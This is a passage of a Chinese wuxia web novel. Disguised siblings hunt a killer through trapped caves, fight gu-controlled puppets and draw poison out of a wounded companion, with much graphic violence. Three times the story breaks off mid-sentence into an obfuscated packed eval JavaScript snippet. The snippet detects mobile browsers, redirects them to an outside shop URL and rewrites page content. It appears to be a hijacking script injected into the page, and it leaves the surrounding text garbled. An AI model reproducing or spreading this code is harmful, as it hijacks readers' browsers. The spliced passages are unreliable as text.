元向安:“此邪门功法一直在江湖上有所流传,早先盛传的版本,是以天资聪颖的幼童为饵,将其根骨吸入自身,以达突破之目的。” “前朝时曾有一案,东篱名门苏家在各地寻找天赋异禀的孩童,美名其曰带回府中培养,但却都没了音讯。常人只当这些孩童闭关修炼,无法归家,便没人再寻,直到几年后苏家长子从政,站错了队伍落得满门抄斩,官兵入府时才发现院中埋的全是这些孩童的尸首。” “朝代交替,新朝君主知道了此事,便设立了监管江湖诸事的机构,也就是天山。” 他抬头意味深长地看了陈豫一眼:“不过天山已灭,如今是清月剑派负责。” “看来此功法并未随着苏家陨落而消失于江湖,仍有人动这种歪心思。” “我记得陈道长是清月内门首席大弟子,山下发生这种事,你们却毫不知情么?” 陈豫起身,一把揪过元向安的领子,面露愠色。 “你什么意思,是想说清月山牵扯其中吗?” 元向安不置可否,画得惨白的脸上满是不屑与嘲讽。 僵持之中,陈豫还是放开了手。清月镇上发生如此草菅人命之事,他却全然不知,山上亦无通报,他纵使愤怒也不应发泄到面前亲历亲为查案的人身上。 “抱歉,我方才情绪激动了。公子也是为这些死去的少女鸣不平,清月山下发生如此骇人听闻之事,确实是我们的失职。” 元向安轻笑一声,拍拍陈豫的肩膀:“你也是护主心切,理解,理解。” 陈豫的脸瞬时涨得通红,那句护主心切犹如一记耳光,不偏不倚地打在他脸上。 昏暗火光下,池岁寒微微垂首,用衣袖掩住口鼻。隐在阴影里的眸子闪过一丝戏谑。 真是讽刺。 这满地的无辜尸体,皆是惨死在清月剑派的眼皮子底下。而眼前正义凛然的少侠,此刻连反驳一句的底气都没有。 若不是还要扮演柔弱无依的小师妹,池岁寒真想为元向安这句不带脏字的诛心之言喝一声彩。 地上共有尸首十三具,倘若元向安的情报没错,失踪案自四月前频发,哪怕算上昨夜许家女儿,也应只有九具。 如何凭空多了四具尸体。 元向安也想到了,又趴在地上细细观察。 池戟背靠石墙,轻声开口:“恐怕不止这些尸体。” 他声音虽不大,在安静狭小的石洞中却足够清晰。 傅莺莺颤抖着发问:“什么意思……此处十三具竟不是全部吗?” 池戟点头,神色严肃:“洞中密闭潮湿,蛇虫众多,若是放在这里四个月,怎会如此完整。” 他蹲下身,掀起一具尸体的衣角:“吸星阵开后,施阵者必先将活人精血强压至心肺,再一并倒灌入丹田。双足距心脉最远,所受功法反噬最轻,血肉自然也就留得最多。” “这些尸体双脚尚未开始腐烂,应是两个月内才死的。” “此处四周封闭,仅有来时一条退路。但方才我等步入石室前,却未曾嗅到半分尸气。大家都是习武之人,不可能对此毫无察觉。” 他扯起嘴角,眼中竟有兴奋之情:“这些尸体本不在此,是有人为了迎接我们特意摆出来的。” “他在挑衅我们。” 池岁寒将手掌悄然覆于石壁之上,向其中缓缓注入内力。内力如流水般蔓延,石壁后的地形脉络便在她脑中一一浮现。 这石壁看似浑然天成,实则内藏乾坤。内力游走间,她便已将石壁后错综复杂的机关走向摸了个一清二楚。 她佯装要去扶傅莺莺,脚下却被石凳一绊,身子不偏不倚撞上一处凸起的石块。石块向内推动,机关发动,整个石洞便开始震动起来。 那些木架身后看似平整的一大块石板慢慢升起,后面竟是一条足足三人宽的通道。 “竟然有密道!”池岁寒故作惊讶。“竟这样被我撞到了!” 陈豫回头同样面露惊色,但池岁寒从起身到摔倒都一气呵成,太过自然,他实在看不出什么。 只能当是自己运气太差了。 几人小心翼翼跨过地上的尸体,举起火把走入甬道,此处宽敞了许多,便无需再争抢位置,三个男人走在第一排,池岁寒牵着傅莺莺,跟在他们身后两三步远。 甬道内有许多岔路,幸好元向安的识香虫还能派上用场,不然光是在这里绕圈就不知要走多久。 甬道尽头便是又一处石门,陈豫与元向安将门口每一处凸起凹陷都试了个遍,也没寻到开门机关。 “莫非机关不在此处?”元向安回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池岁寒护着傅莺莺退到角落,不动声色地观察二人的动作。 破绽百出。 若非顾忌着身旁的陈豫,只需她指尖微动,便足以将这矮子的天灵盖震成粉末。 但她不能,此刻在陈豫和傅莺莺眼中,她不过是个外出游历几年的小师妹罢了。 好在有人会替她出手。 池戟腕骨微转,一枚暗器悄无声息地自袖中滑出,趁那男子进攻之时,精准地钉入了他防御最薄弱的膝弯处。 男子顿时身形不稳,向一边倒去,在地板上翻滚一圈才堪堪保持住平衡。 陈豫只当是自己久战之下终于等到了对方的破绽,剑锋一转,毫不犹豫地刺穿了男子的肩头。 他啐出一口血,捂住伤口猛地后撤,一脚将少女踢向陈豫剑上,随后头也不回地跑开了。 陈豫赶忙将剑丢在一旁,后撤几步稳稳接住那少女,悉心检查她身上可有伤口。 元向安走上前来,握住少女的手腕,三指探上。 脉象虚浮无根,气血两亏。表面看只是受惊过度,实则体内真元已泄,心神已损,若是再晚来半柱香,怕是大罗金仙也难救了。 “正是许家女儿,我们还是来晚了一步,她受惊太多,已有些神志不清了。”元向安面露寒色,收回有些颤抖的指尖。 池戟在屋内另一侧,抬起地上一块石砖:“此处有密道。” “那就麻烦公子先将这孩子送回去,早做诊治,说不定还有转机。”池岁寒蹲下拍拍元向安的肩膀,示意他先行离开。 元向安本就扮作热心江湖人,为救少女才同行,方才又与陈豫起了冲突,自知再留下去也无用处,便点头答应,背起昏迷的少女自暗道离开。 池戟沿那歹人离开的方向追去,走到半路却突然停下。 面前竟是三个一模一样的入口。 11. 又演武功平平小师妹 三处甬道皆漆黑一片,看不出有何异同。陈豫蹲下身将附近各处都检查了一遍,男人逃跑时虽受了伤,但未有血迹滴落。 陈豫转身看着其余三人,一时不知如何是好。 池岁寒适时开口:“若今日被那贼人逃了,不知还有多少少女要受他迫害。师兄不必觉得为难,我和姐姐互相照应,你与池戟分两路去追那人就好。” 陈豫没多迟疑,简单交代了几句让大家不要逞强,便转身走入最中间的通道中。 池戟向池岁寒投来征求同意的目光,他自然不会将那人放在眼里,若不是不能在陈豫和傅莺莺面前露陷,他早就将那人绑了,何苦如此费事。 池岁寒点头默许。 毕竟她想要的,只是从此人口中问出这一系列事件是否和清月剑派有联系。 池戟转身没入黑暗。现下兵分三路,他已是独身一人,自然无需再演。那双眸子瞬间阴冷下来,他边走边活动筋骨,幽暗的甬道中传来几声令人胆寒的关节脆响。 “我本就学艺不佳,现在又有伤在身,只怕会连累你。”傅莺莺面带忧色看着池岁寒。“若真遇险,你不必管我,活命要紧,记住了吗?” 池岁寒轻拍她的后背,低声安慰:“不必担心,那人右手持剑,证明惯用右手。逃跑时左腿微跛,想必是伤到了。我们这条路在最左侧,他若逃命,断不会刻意左转往这边来。” 傅莺莺点头,脸上勉强扯出一个笑容。 此处甬道与之前不同,是被人精心休整过的。池岁寒掏出火折子将石壁上的烛台一一点亮,烛光摇曳,在石板上映出两道身影。傅莺莺跟在池岁寒身后,浑身紧绷,半步不敢落下。 通道并不长,半炷香的工夫便到了尽头。 一出通道,眼前豁然开阔。 一处俑坑横亘在前拦住去路,坑中约有人俑二十个,皆以木制,神色各异,栩栩如生。 坑内一条两人宽的小路,是通往对面唯一的出路。池岁寒只得先行跃下,才一落地,便觉不对。 在俑坑顶部俯视时尚未觉察,此刻身在坑中,才发现这些人俑各个身高九尺有余,手中皆持兵器。 有诈。 傅莺莺正要跳下,池岁寒厉声喝止:“先别下来!这坑中人俑有异,等我探明虚实再做打算。” 话音未落,那些人俑竟似被声音唤醒,齐齐将头转向池岁寒所在之处。 机关声起,石洞震动不止,甬道顶端的石门轰然落下,彻底封死她们的退路。 傅莺莺踉跄站稳,低头一看,身下人俑已活动起来,持剑之手高高扬起,正对着池岁寒后脑斩下! “小心!!” 机关运作与石门落地之震动穿透石层,一路传至另一条甬道深处。 陈豫正谨慎前行,忽觉脚下与四壁震颤不止,他当即靠墙蹲下,察看四周,直至震动平息方才起身。 震源似在左侧。他望向那个方向,心中暗自祷告:但愿不是傅莺莺和池岁寒。 陈豫继续向前,自黑暗甬道中步出,脸上早已没了平时的温柔神情,面色冷峻,杀气凛然。 甬道尽头是一间石室,整间都被笼罩在巨大阵法之中,若想出去,只有入阵一个选择。 陈豫仔细查看阵法纹路,竟与他所知任何一种都无法匹配。但此阵既拦在路中,他坚信那歹人必在前方。 只犹豫片刻,他便一脚踏入阵中。 阵中并无暗器袭来,只空气中多了几分若有若无的腥甜。周身白雾渐起,眼前景象逐渐扭曲,如雨滴落入湖面,短暂波澜之后,已是另一番天地。 陈豫发觉自己变矮了许多,抬头便看见一位年约五十,头发半白的道长。 他环顾四周,自己正身处于一户农院之中,父母立在门槛边,两个弟弟一左一右拽着父母的衣角,怯生生地朝他挥手。 这是十六年前他被师傅领回清月山的那日。 画面流转,无数记忆翻涌而过,却大多相同。无非是练剑,修心法,下山执行任务。山高路远,一别多年,他从未回过家。 画面再停,是十年之后,他身形已变得修长挺拔,又一次站在了老家院中。 可这次,没有父母,没有弟弟,连邻居也不见踪影。 村子空了,只剩断墙残垣。院内荒草丛生,看起来已经有些时日无人居住了。 他挨家挨户地寻找,除了发现几具枯骨外再无所获。又赶往几十里外的镇上打听,才知三年前此地遭了旱灾,附近村民或逃或亡,早已不知去向。 他又回到院中,望着已经残破的墙根站了许久。 忽然身后传来脚步声,陈豫回头,便见父亲站在身后,衣衫褴褛,面如枯槁。 “你还知道回来?”父亲颤抖着抬起手臂,声音沙哑不堪:“离家十年,连一封信都没有。你娘于病榻上念着你名字时你在哪儿?你两个弟弟啃树皮充饥时你又在哪儿?” “为子不孝,为兄不仁,你有何脸面活着?” 陈豫看着那张熟悉又陌生的脸,指尖微颤,握紧了剑柄。 他几乎未有犹豫,剑光一闪,人头应声落地。 父亲的身影化作烟雾散去,周遭景象缓缓变换,重回石室之中。 面前立着一具与陈豫身材相仿的人俑,持剑而立,只是头颅已滚落在地。 陈豫双眼望着前方,一时失神:“爹,我知道,你不会怪我。” 他收剑入鞘,一掌将人俑震得粉碎,正欲向前走去。 四周石层再次震颤,却与前次不同。陈豫之前尚可通过振动频率推断是何种机关在运作,此时将手置于石壁之上,感受到的却只是单纯的震撼。 像是有人向山体内打入一掌,引得山洞处处震动。 可这山内怎么会有人有如此内力? 陈豫心中一紧,思考片刻还是先朝左侧跑去。 无论是谁,若真是遇上有此种内力之人,都是九死一生,他必须要去帮忙。 …… 片刻之前,俑坑之内。 池岁寒暗道麻烦,此刻傅莺莺全部注意都在她身上,她纵有一身本事,也只能装作功夫平平,堪堪躲闪,不敢露半分破绽。 人俑蜂拥而上,几乎将池岁寒周身所有空挡填满。 她足尖点地,身形急转,堪堪避过头顶砸下的一拳。未等有喘息的机会,另一具人俑已挥舞着巨斧行至她身侧。池岁寒抽剑去挡,被震退数步,直撞上墙壁。 缠斗半晌,倒地的人俑不过三四具,她只能仗着身形灵巧在这些巨俑间闪躲,数不清的攻击擦着她耳边啸而过。 傅莺莺站在高处,心早已提到了嗓子眼,她知道以自己的身手,贸然跳下去绝无可能像池岁寒那般撑上许久,怕是几招都招架不住。 可人俑不知疲累,人却是会的,池岁寒现在尚能保命反击,再过一个时辰呢?两个时辰呢? 终有力竭之时,再无还手之力。 难道自己要眼睁睁看着她死吗? 电光火石间傅莺莺已下定决心,纵身跃入坑中。 池岁寒余光瞥见她的动作,“不要”二字还未出口,傅莺莺就已一剑插入一具人俑背部,将其内部机关捣毁,落在她身侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371394|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手挡住她身后袭来的一拳。 这一拳极重,傅莺莺虽然抗下,嘴里却已泛起血腥味。 池岁寒眼底闪过一丝暴躁,她不明白傅莺莺为何下来送死。习武多年,难道她竟认识不到自己与这些人俑的差距吗?! 本只需装模作样缠斗一阵,伺机毁掉这些人俑便是,现如今傅莺莺在侧,她还得分出心神照看她。 池岁寒一脚踹开身前人俑,趁傅莺莺背对自己,一手直接插进人俑胸口,同时转身挥剑,斩下侧方人俑头颅。 两具人俑刚倒,她便瞥见傅莺莺只顾格挡正面攻势,竟未察觉侧面一具人俑正挥拳袭来。 池岁寒斜跨一步,挥剑将那人俑手臂砍下。 此后数十招,她未敢再离开傅莺莺身旁半步,每当傅莺莺露出破绽,她的剑锋便会适时出现,挡下攻击,再顺势补上一剑。 傅莺莺无暇分心,浑然不觉。人俑力大无穷,仅正面对抗便已让她旧伤崩裂。 人俑攻势突然转变,池岁寒刚侧身躲过一击,那人俑眼眶中便射出一支细箭,擦着她耳畔掠过,削下一缕发丝。 眼中竟还有暗器! 不等她多想,面前几具人俑已站成一排,数箭齐发。池岁寒余光瞥见右侧石墙机关转动,一具弩机缓缓推出,箭尖泛着幽幽蓝光,似是淬了剧毒,此时正对着她。 弩箭与细箭几乎同时射出,看似死局。 池岁寒并不慌张,两拨攻势虽近,却非避无可避。细箭无毒,中一两支也无妨。 她只需向左一侧,挥剑打落面前细箭,同时足尖轻转,便能与那毒箭错开半寸。 可她还没来得及动,就有人扑了过来。 傅莺莺冲至她身侧,不偏不倚,正挡在那毒箭之前。 毒箭破空而至,直接刺穿了傅莺莺的左肩,鲜血喷涌而出,瞬间染红了她今日新换的衣裳。 她本就旧伤未愈,又鏖战许久,此刻已再无力气,身子一软便倒了下去。 失血过多加之毒性发作,她双眼已几乎不能视物,模糊中仿佛看到池岁寒朝自己扑来。 真傻。 再不跑,两个人都要栽在这里了。 池岁寒眼看着傅莺莺口吐鲜血,倒地昏厥,双唇因中毒泛起青紫。雪白衣襟上,鲜血正洇开,一点点蔓延。 她一时慌了神,下意识便想冲过去扶她,眼前却是寒光一闪,是人俑举着斧头朝她劈来。 池岁寒的耐心本就所剩无几,四下无人,她缓缓站起身,双眸中温婉的伪装尽数破碎,眼底翻涌的戾气亦无须隐藏。 无需兵刃,她一掌拍出,掌风夹杂着不由分说的霸道内力,瞬间便将面前的木俑都震作齑粉。 她随手捡起地上一把巨斧,抬手扔出,巨斧便如一道闪电般将那石墙与巨弩一齐劈得粉碎。 所谓绝杀之阵,她只需两招就能将其化作废墟。 她从怀中掏出瓷瓶,这瓶中放的是她从善恶岛带出来的回天丸,可将经脉锁住,让人陷入假死,虽凶险,却能延缓毒性蔓延。 她虽不学医,却也知晓那弩箭还插在傅莺莺肩膀,若是贸然拔出只会使得出血更甚。她撕下几条布料,将伤口周围紧紧固定,以防移动时再添损伤。 傅莺莺本就消瘦,此刻抱在怀中轻若无物。池岁寒飞身跃出俑坑,一掌震碎挡在身前的石门,抱着她向前奔去。 行至半路,甬道内远远响起一阵诡异的尖锐笛声。传到池岁寒耳边时虽只剩余音,却惊得她霎时冷汗直流。 这笛声竟与她操蛊的哨声有七分相似,而那个方向,正是池戟! 12. 凭你也敢动我的人? 池戟已不记得在这通道内跑了多久。他视力极佳,很快便适应了黑暗。 他知道这条路是对的,陈豫久居清月山上,对血腥气并不敏感,只会循着血迹去找。他则不同,初到岔路口时,他便闻到右侧甬道中飘来的淡淡血腥味。 一支羽箭迎面而来,池戟偏头躲过,脸上兴奋之情溢于言表。 “竟还给我准备了点心。” 他脚步未停,反而加快了。面前又接连射来多支羽箭,他侧身弯腰一一避开,右手凌空一抓,将最后那支箭攥在手心。 他轻笑一声,反手一掷,黑暗里便传来箭簇刺入□□的声音。 紧接着,一人从暗处滚出,额头正中插着那支箭,双目圆瞪,死不瞑目。 前方巨石后人影攒动,又有十余人冲出,手持各式兵器。 池戟亢奋地笑出声来,舔了舔嘴唇,眼眶泛红。 第一人冲至他面前,举刀劈下,被他一把抓住手腕,反手一拧,手臂应声折断,白骨刺穿皮肤。还未等此人惨叫出声,池戟手中短刃便已将他喉咙割开,血液喷溅而出,洒在石壁上。 他抬脚将尸体踢开,第二个人已举锤冲上前来。 池戟反手夺过铁锤,身形一晃,甚至未多看那人一眼。 银光闪过,那人喉间多了一道极细的血线,来不及出声,便已倒地。 他便这样一路走,手中短刀快得几乎看不见,所过之处,遍地尸体。 余下几人察觉不对,转身便想逃命,刚跑出几步,耳边便响起低语。 “急着投胎?我送你。” 伴着一声脆响,池戟将他的脖子扭过一圈。 仅剩的一人早已被吓得肝胆俱裂,连滚带爬朝甬道前方逃去。他们不过是为些金银细软来此守路,怎么就碰上这等人间恶鬼了呢?! 池戟浑身血迹,却没有一滴是他的。他缓步跟在那人身后,见对方爬得慢了,便故意弄出声响,吓得他浑身一颤。 这种捕猎游戏他向来喜欢,生杀予夺都在他一念之间,他可以让人选择痛快地死,也可以让人被迫痛苦地活。 面前之人终是爬不动了,他四肢早已瘫软,方才那一路不知是凭着什么撑过来的。 他跪在池戟面前,一下又一下将头磕在地上,直至额头血肉模糊:“求你了,我只是拿钱办事,我并非有意要杀你,求你放我一马,我家里还有老小,求你让我回家吧。” 池戟嘴角的笑意骤然消失,他捏着此人的头强迫他抬起脸来,一字一顿道:“我最讨厌有家的人。” 他将手指弯曲成爪,猛地刺入此人胸膛,内力自指尖灌入。 那人在他手下剧烈抽搐,喉间溢出古怪的声响,片刻后,心脉俱碎。 人已气绝,只剩一双惊恐的眼睛还睁着,其中倒映的是池戟近乎疯狂的神情。 池戟扯下不知哪具尸体上的干净布料将自己的手和脸都擦干净,才又起身继续赶路。 甬道尽头透出昏黄灯光,是一间巨大石厅,四周燃着火把。厅中央摆着一张石椅,方才逃走的矮小男子正坐在上面,赤裸半身,纱布下隐隐透出血迹。 池戟拖着滴血的短刃,从阴影中缓步迈出。 他阴恻恻地盯着他,浑身是血,倒比他更像恶人。 “好久不见,郭印争。” 男人浑身一颤,难掩惊讶神色,一双小眼转得飞快,也无法想起自己何时见过面前之人。 “你怎么知道我的名字?!” 池戟不急不缓,倚在墙上,慢悠悠道:“十六年前叛逃出清月剑派,此后一直行踪未定,原来是灯下黑。” “你怎会知道我?”郭印争喘着粗气,将石座上的外衣披上,试探发问。“难不成山上那些老东西,终于要卸磨杀驴了。” “地下人派我来的。”池戟眉峰一挑,笑出声来。“派我送你上路。” 话音未落,他便掏出短刀,一脚蹬在墙上朝郭印争扑去。 郭印争不敢硬接,只好翻身闪躲,单手撑地才勉强稳住身形。 脚步尚未站稳,池戟便又挥着寒刃从他背后袭来,郭印争每次躲开,那短刃便会恰好封住他的退路,虽未受致命伤,但手臂与脸颊已被划出多道血痕。 这并非比试,而是猎杀。 郭印争心中清楚,自己绝非此人对手。那游刃有余背后的差距,已不是靠邪法能弥补的。 他咬紧牙关,怒喝一声,不管不顾便朝池戟冲过去。 池戟侧身,一脚踹在郭印争小腹,将他踢飞出去,重重撞在石椅之上。 “你杀了那么多人练功,怎么还只有这点本事?” 郭印争吐出一口血,露出阴森笑容:“我本事不够,那你便试试我的蛊人本事如何吧!” 他按下石椅扶手上的虎头,椅背弹开,露出一只骨笛。 “就你炼的那些蛊人也配拿出来现眼?”池戟不以为意,伸手入怀。 正欲掷出暗器,尖锐笛声骤然响起。阴影中走出六七个蛊人,双眼泛白,与行尸走肉无异。 池戟的手停在了胸前,动弹不得。 他体内的蛊虫竟也被这笛声唤醒了! 笛声未停,蛊人的动作愈加灵活,池戟体内经脉却被蛊虫尽数堵死,连内力都无法运转。 郭印争见他僵立不动,操控蛊人欺近,一拳砸在他腹部。池戟整个人横飞出去,在地上滚了几圈才停下,嘴角渗出丝丝血迹。 这次轮到郭印争笑了出来,他缓步走到池戟面前,居高临下,似在欣赏一出好戏。 池戟试图撑起身子,用尽力气也只堪堪将头挪动分毫。还未抬起,便被一脚踩住后脑,整张脸被压在地上。 “怎么,”郭印争用鞋底在他脸上来回碾动,声音里只剩狂妄笑意。“你不是看不起我的蛊人吗?” “方才戏弄我时开心吗?想到过如今竟会栽在我手上吗?” 池戟的脸被踩在地上,只能发出沉闷的喘息。十指仍在试图夺回身体的控制权,却连抬动指尖都做不到。 郭印争的蛊和他体内的蛊竟有关联。 同一笛音却在他和蛊人的身上呈现截然相反的效果,一动一静。 阴阳蛊。 此蛊需阴阳二蛊共生同长方能炼成。池岁寒的蛊取自善恶岛,只有其中一种,如何能与清月山下的蛊凑成一对? 除非这两种蛊虫本就是一起的,只不过一半给了郭印争,另一半落入了冯一天手中。 死局已成。他知自救无望,只能寄希望于池岁寒发现异样。 可石室中除了他与郭印争二人,便只剩那些蛊人了。 郭印争见他不答,一剑刺入他膝弯:“如此想来,我与那清月弟子交战时,就是你以暗器偷袭我。” 剑尖在伤口内搅动,池戟眼前一黑,疼出一身冷汗。 “为人鱼肉的滋味,不好受吧?” 郭印争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371395|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剑接一剑刺下,每剑都不致命,却次次见血。 不消片刻,池戟身下便已经是一滩血污。 地面再次震动,比之前更为剧烈。石厅另一侧的墙壁应声而破,碎石飞溅,烟尘弥漫。尘雾中,隐约可见一道身影。 未等郭印争反应过来,只听见几声闷响,那些刀枪不入的蛊人竟被一股极其刚猛的掌风生生震碎了全身骨骼,撞上石墙,化作肉泥。 下一瞬,郭印争只觉头皮发麻,一双手死死扼住他的咽喉,将他整个人砸在坚硬的石地上。 尘雾散去,露出池岁寒如地狱修罗一般的脸。 她一脚将郭印争踹翻,毫不犹豫挑断了他手筋脚筋,随后一手覆于他头顶,内力便源源不断地自郭印争体内涌入她经脉。 “啊啊啊啊啊!”郭印争发出一声凄厉的惨叫。 “你算什么东西,”她垂眸看他,如视蜉蝣蝼蚁。“也敢伤我的人?” 池戟的心跳漏了半下,脑中只剩我的人三字。 郭印争自知已无活路,神色已近癫狂。 “哈哈……哈哈!你竟不需阵法便可运功,我就知道那老畜生对我有所保留,竟也将这功法传给了你!” “清月清月,清高孤月,如今连内门弟子身边跟的都是你们这种货色,看来这江湖已无正义之地了。” 池岁寒并未将他内力尽数掠走,但郭印争此刻已是满头白发,面如老翁。 “哪个老畜牲?” 郭印争满嘴猩红,齿间用力一咬,汩汩黑血自嘴角涌出,倒地身亡。 他咬破了藏在齿间的毒囊。 池岁寒未多看那尸体一眼,此人死不足惜。 她见池戟半晌未动,便走到他身边蹲下,将他的头放在自己腿上,低声询问:“你怎样?动弹不得了吗?” 池戟嘴唇微启,断断续续说道:“蛊……堵住了……经脉……” 池岁寒神色一变。她原以为池戟只是伤重,此刻才反应过来,以郭印争的实力,怎么可能将他伤成这样。 竟是自己的蛊害他险些身死。 她指尖颤抖着抚过池戟的剑伤,双眼看向他膝盖处深可见骨的伤口,心中涌起一股难以言说的愧疚与难过。 她慌忙吹响哨音。 池戟见她满脸忧色,笑着捏了捏她的掌心:“阿姐不必担心,倒是方才弄出这么大动静,不怕被陈豫和傅莺莺知道吗?” 池戟脸色渐渐缓和,池岁寒用衣袖将他脸上血污擦去,摇摇头:“傅莺莺为救我重伤中毒,我方才遇到陈豫,让他先带傅莺莺回去解毒了。” 她垂下眼帘,声音里透着一丝罕见的懊恼与烦闷:“还好我来得及时。傅莺莺已经重伤,若是你再出了事……” 池戟眼睛一亮,本想起身,此刻又故作虚弱地往她怀里沉了沉。 罢了,好在大家的性命都暂时无忧。 池岁寒强逼自己平复心情,看着池戟满身伤痕躺在地上,深吸一口气,将他打横抱起。 池戟从未想过有如此一天,一时慌乱得不知把手放在何处。 池岁寒低声呵斥:“受伤了便老实待着。” 池戟小心翼翼将头靠在她臂弯里,一双眼睛藏在碎发后,偷偷望着她。 一路无言,池岁寒为免惊动旁人,挑了处僻静胡同,抱着池戟自窗口翻入,才刚将人放下,红绢便一脸焦急地跑来。 “小姐,傅小姐恐怕要不行了。” 13. 如何能见死不救 傅莺莺躺在床上,面色惨白,眼角青紫。狭小的客房内满是血腥气与苦涩药味,光是沾满了血的棉布就已堆满了三个木桶。 外伤尚可以靠伤药疗愈,毒却难解。 镇上几位德高望重的老大夫皆围在床边,轮番施针,却不见傅莺莺眉间黑气有任何缓解。 “陈道长,此毒实在是邪门,老朽行医数十载,从未见过如此奇怪之毒啊!”大夫须发皆白,脸上尽是无奈。“老朽无能,只是这姑娘本就伤重,毒亦无解,只怕活不过今晚了……” 陈豫双手紧攥,脖颈青筋暴起,深呼出一口气,仍是礼数周全地将诸位郎中送了出去。 他从未如此失态过,整个人仿佛老了几岁。 他跪坐在傅莺莺床边,哽咽开口:“莺莺……你要坚持住,你是天狼山庄唯一的血脉了,你若死了,谁为全庄上下几十条性命申冤?” 池岁寒站在一旁,缓缓将眼神移向别处。 一时之间,众人只能围在床前,眼睁睁看着傅莺莺的呼吸渐渐微弱下去。 “元向安人呢?”池岁寒拉过红绢,低声询问。 几人之中,对毒理药理皆有研究的只有元向安一人,可算时间,他早该将那少女送回了,可自他们归来,竟一直未见其踪影。 红绢答道:“他说此行只为救人,来去匆匆,未曾仔细搜查山洞,恐有遗漏之物或其他活口,将那少女送回家中后,便又折返查探去了。” 池岁寒点头。她带池戟出来时,是从半山腰寻了处缓坡走下,与进山洞时并不是一条路,想来是与元向安错过了。 从此处到山洞,往返便需两个时辰,何况元向安还要在洞中查探。待他回来,傅莺莺只怕早已撑不住了。 她是不想傅莺莺死的。 或许是因初见那日的真心,又或许是因今日在俑坑内的舍命相护。无论如何,池岁寒都不忍,也不愿就这样看着傅莺莺死去。 她早已拖过了书中傅莺莺重生的时间点,按照原书的剧情,她此刻大可以找个地方躲起来,与世隔绝地过完此生,这些人的死活与她已无干系。 但她做不到见死不救。 “师兄,你在这里毕竟男女有别,不便照顾姐姐,让我来吧。” 陈豫盯着傅莺莺看了许久。那是池岁寒第一次见他眼中露出这般无助与恐惧交织的神色,再无半分平日的淡泊从容。 他颤抖着伸出手,将傅莺莺身上的被子掖好,手掌轻抚过她的脸颊,指腹缓缓抚过她毫无血色的脸颊和眼角,双眼中满是不舍。 他缓缓站起身,看向池岁寒,声音嘶哑得不成样子。 “岁寒,若……若她当真无力回天,还请你去我屋中寻我,让我送她最后一程。” 说罢,他转身离去,一步三回头,终是走到门外,轻轻将门带上。 随着房门合拢,池岁寒脸上只剩严肃神情。 她拍了拍红绢“你也出去守着,没我允许,不许任何人进来。” 池岁寒虽不懂医术,但对于解毒一事也算有心得。 毕竟当初刚穿进来自己就身中剧毒,只是不知自己的内力能否在傅莺莺身上起到同样的效果。 她将掌心贴上傅莺莺胸口,内力缓缓渡入。 二人所练功法不同,加之池岁寒体内已融合了许多人的内力,与傅莺莺的功法更是相冲。 尝试了半晌,非但没能将毒素逼出,反倒让傅莺莺脸色更差了几分。 既无法在她体内逼毒,那便只能将毒引到自己体内再逼出。 此法凶险,但池岁寒别无选择。 好在傅莺莺中毒之初便服下回天丹,毒素尚未蔓延。池岁寒只需逆转内力,便能将她体内的毒素连同部分内力一同吸入自己体内。 剧毒入体,池岁寒脸色瞬间变得惨白,她竭力将毒素压制于一处,还是不免泄出些许。 此毒并不似寻常毒药般灼烧脏器,反而如千年寒冰,一入经脉,便冻得她手脚发颤,经络收缩,内力郁结。 足足过了一个时辰,她才终于将傅莺莺体内全部毒素尽数吸入。待她收手,整个人已如从水里捞出一般,冷汗将里衣浸透,发丝凌乱紧贴颈间,原本白皙的掌心隐隐透着一股死气的乌青。 察觉此毒特性,池岁寒反倒松了口气。此毒虽烈,但并非来势汹汹之毒,反而需要些时日慢慢侵蚀经脉,令人四肢渐废,最后才可取人性命。 傅莺莺中毒不久,毒素并未扩散至全身。伤处附近经脉虽有损伤,休养数月便可痊愈。 即便无法恢复完全,也不过是平日里内力受阻,再难精进罢了。 起码性命无碍。 池岁寒沾湿手绢,替她拭去额上冷汗。 傅莺莺本就虚弱,又被吸走些许内力,脸色比先前更差了几分,好在脸上的青紫处已经褪去。 不知她梦见了什么,眉头紧锁,满脸痛苦。 池岁寒不愿再看,转身回了自己房间。 一入房门,她便跌坐在椅上,双手运气压下丹田。 忽然,她眉头紧蹙,反手一掌拍在自己心口。一口黑血应声而出,体内寒意霎时去了大半。 她仍觉四肢有些迟钝,应是余毒未清,但已无大碍,剩下的待元向安回来再作打算便是。 她这才抬手,褪下衣衫。 今日为免傅莺莺起疑,她并未将那些攻击尽数避开,身上落了些皮外伤。 肩头与手臂皆有剑伤,伤口不深,但剧烈动作牵动之下,边缘已红肿翻起。腰侧一片淤青,是被那人俑手臂扫过后留下的。 有这些伤痕作证,任谁看了,都会信她与傅莺莺今日确是经过一番苦战。 床头已备好清水与棉布。她将棉布叠好,蘸水拭去伤口附近血污,又撒上些疗伤药。 不知元向安这药里掺了什么,药粉一沾伤口,竟比受伤时痛得多。 屋内无人,她也无需再绷着那张脸。药粉每落一处,她便疼得眉头紧拧,恨不能立刻给元向安一拳。 终于处理完,她小心穿上衣裳,靠坐床头。倦意突然袭来,眼皮竟沉得抬不起来。 